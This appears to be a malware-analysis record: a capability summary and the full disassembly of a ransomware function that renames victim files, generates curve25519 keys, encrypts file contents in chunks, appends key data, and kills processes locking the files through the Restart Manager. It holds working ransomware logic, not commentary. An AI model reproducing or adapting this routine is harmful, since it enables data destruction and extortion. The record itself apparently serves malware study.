Function at 0x4097b0
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cc0
call fcn.00413280
mov byte [ebp - 0xc8], 9
xor eax, eax
mov dword [ebp - 0xc7], eax
mov dword [ebp - 0xc3], eax
mov dword [ebp - 0xbf], eax
mov dword [ebp - 0xbb], eax
mov dword [ebp - 0xb7], eax
mov dword [ebp - 0xb3], eax
mov dword [ebp - 0xaf], eax
mov word [ebp - 0xab], ax
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x6c], 1
mov ecx, 0x6420676e
mov dword [ebp - 0x130], 0x756f6863
mov dword [ebp - 0x12c], ecx
mov edx, 0x6b6f6f6c
mov dword [ebp - 0x128], 0x20676e6f
mov dword [ebp - 0x124], edx
mov eax, 0x6820656b
mov dword [ebp - 0x120], 0x696c2073
mov dword [ebp - 0x11c], eax
mov ecx, 0x2121676f
mov dword [ebp - 0x118], 0x6420746f
mov dword [ebp - 0x114], ecx
push 0x80
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 0xe]
push ecx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40a331
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x403a64
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x40a2a2
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x28]
push edx
call fcn.00412ef0
add esp, 4
cmp dword [ebp - 4], 0xffffffff
je 0x409de5
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.00412ec0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409dd6
lea edx, [ebp - 0xf0]
push edx
push 0x20
mov eax, dword [0x414260]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + edx - 0xf0]
and eax, 0xf8
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0xf0], al
mov eax, 1
imul ecx, eax, 0x1f
movzx edx, byte [ebp + ecx - 0xf0]
and edx, 0x7f
mov eax, 1
imul ecx, eax, 0x1f
mov byte [ebp + ecx - 0xf0], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0xf0]
or ecx, 0x40
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0xf0], cl
lea ecx, [ebp - 0xc8]
push ecx
lea edx, [ebp - 0xf0]
push edx
lea eax, [ebp - 0x158]
push eax
call fcn.00404ea0
add esp, 0xc
push 0x4141b8
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x110]
push edx
call fcn.00404ea0
add esp, 0xc
lea eax, [ebp - 0x198]
push eax
push 0x20
lea ecx, [ebp - 0x110]
push ecx
call fcn.00410b10
add esp, 0xc
push 0x100
push 0x100
lea edx, [ebp - 0x198]
push edx
lea eax, [ebp - 0x12a8]
push eax
call fcn.0040feb0
add esp, 0x10
lea ecx, [ebp - 0x178]
push ecx
lea edx, [ebp - 0x12a8]
push edx
call fcn.0040ff40
add esp, 8
push 0x40
lea eax, [ebp - 0x198]
push eax
call fcn.004105b0
add esp, 8
mov dword [ebp - 0x138], eax
push 0x40
push 0
mov ecx, 4
imul edx, ecx, 0
lea eax, [ebp + edx - 0x224]
push eax
call fcn.00412e50
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x198]
push ecx
call fcn.00412e50
add esp, 0xc
push 0x40
push 0
lea edx, [ebp - 0x110]
push edx
call fcn.00412e50
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [ebp - 0x1c], 0
jl 0x409ba6
jg 0x409ab0
cmp dword [ebp - 0x20], 0x1400000
jbe 0x409ba6
push 0
push 0xa00000
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.004131d0
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
jmp 0x409aec
mov edx, dword [ebp - 0x54]
add edx, 1
mov eax, dword [ebp - 0x50]
adc eax, 0
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x94]
jg 0x409ba1
jl 0x409b0c
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x98]
jae 0x409ba1
push 0
lea eax, [ebp - 0x24]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12a8]
push eax
push 0
call fcn.004102a0
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x14]
add ecx, 0xa00000
mov edx, dword [ebp - 0x10]
adc edx, 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409ada
jmp 0x409d7d
cmp dword [ebp - 0x1c], 0
jl 0x409caa
jg 0x409bbf
cmp dword [ebp - 0x20], 0x500000
jbe 0x409caa
push 0
push 3
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.004131d0
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x5c], xmm0
jmp 0x409bf8
mov edx, dword [ebp - 0x5c]
add edx, 1
mov eax, dword [ebp - 0x58]
adc eax, 0
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jg 0x409ca5
jl 0x409c0e
cmp dword [ebp - 0x5c], 3
jae 0x409ca5
push 0
lea ecx, [ebp - 0x24]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
push 0
call fcn.004102a0
add esp, 0x14
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x10]
adc ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409be6
jmp 0x409d7d
cmp dword [ebp - 0x1c], 0
jl 0x409d7d
jg 0x409cc0
cmp dword [ebp - 0x20], 0
jbe 0x409d7d
cmp dword [ebp - 0x1c], 0
jl 0x409ced
jg 0x409cce
cmp dword [ebp - 0x20], 0x40
jbe 0x409ced
push 0
push 0xa
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.004131d0
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
jmp 0x409cff
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], ecx
push 0
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12a8]
push eax
push 0
call fcn.004102a0
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
push 0
lea edx, [ebp - 0x12a8]
push edx
call fcn.00412e50
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
push 0x48
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call fcn.00412ef0
add esp, 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a29d
cmp dword [ebp - 0x6c], 0
je 0x40a20e
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea edx, [ebp - 0x1dc]
push edx
call fcn.00412e50
add esp, 0xc
lea eax, [ebp - 0x1dc]
push eax
push 0
lea ecx, [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x409e28
mov dword [ebp - 0x7c], 1
jmp 0x409e2f
mov dword [ebp - 0x7c], 0
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40a181
push 0
push 0
push 0
push 0
lea eax, [ebp + 8]
push eax
push 1
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x409e63
mov dword [ebp - 0x80], 1
jmp 0x409e6a
mov dword [ebp - 0x80], 0
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40a0df
mov dword [ebp - 0x88], 0xa
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x2cc0]
push ecx
lea edx, [ebp - 0x88]
push edx
lea eax, [ebp - 0xcc]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x409eb9
mov dword [ebp - 0x84], 1
jmp 0x409ec3
mov dword [ebp - 0x84], 0
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40a052
mov dword [ebp - 0xc], 0
jmp 0x409ee8
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x88]
jae 0x40a04d
imul edx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + edx - 0x2a34], 4
je 0x40a048
imul eax, dword [ebp - 0xc], 0x29c
cmp dword [ebp + eax - 0x2a34], 0x3e8
je 0x40a048
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
imul ecx, dword [ebp - 0xc], 0x29c
cmp eax, dword [ebp + ecx - 0x2cc0]
je 0x40a048
imul edx, dword [ebp - 0xc], 0x29c
mov eax, dword [ebp + edx - 0x2cc0]
push eax
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x409f8d
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a048
cmp dword [0x41425c], 0
je 0x40a048
push 0
push 0
push 0
push 0
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul eax, dword [ebp - 0xc], 0x29c
lea ecx, [ebp + eax - 0x2cb4]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x34], eax
push 0
push 0
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2cb4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [ebp - 0x34]
push eax
push 0x403a74
call fcn.00404d50
add esp, 0xc
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.00412ef0
add esp, 4
jmp 0x409edf
jmp 0x40a0da
cmp dword [0x41425c], 0
je 0x40a0da
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
push 0x403a88
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x38]
push edx
call fcn.00412ef0
add esp, 4
jmp 0x40a167
cmp dword [0x41425c], 0
je 0x40a167
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x3c], eax
push 0
push 0
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
push 0x403a98
call fcn.00404d50
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00412ef0
add esp, 4
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x6c], 0
jmp 0x4098c0
cmp dword [0x41425c], 0
je 0x40a209
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x44], eax
push 0
push 0
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
push 0x403ab4
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x44]
push edx
call fcn.00412ef0
add esp, 4
jmp 0x40a29d
cmp dword [0x41425c], 0
je 0x40a29d
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x74]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x48], eax
push 0
push 0
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
push 0x403acc
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x48]
push edx
call fcn.00412ef0
add esp, 4
jmp 0x40a331
cmp dword [0x41425c], 0
je 0x40a331
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x78]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x4c], eax
push 0
push 0
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
push 0x403af0
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00412ef0
add esp, 4
mov esp, ebp
pop ebp
ret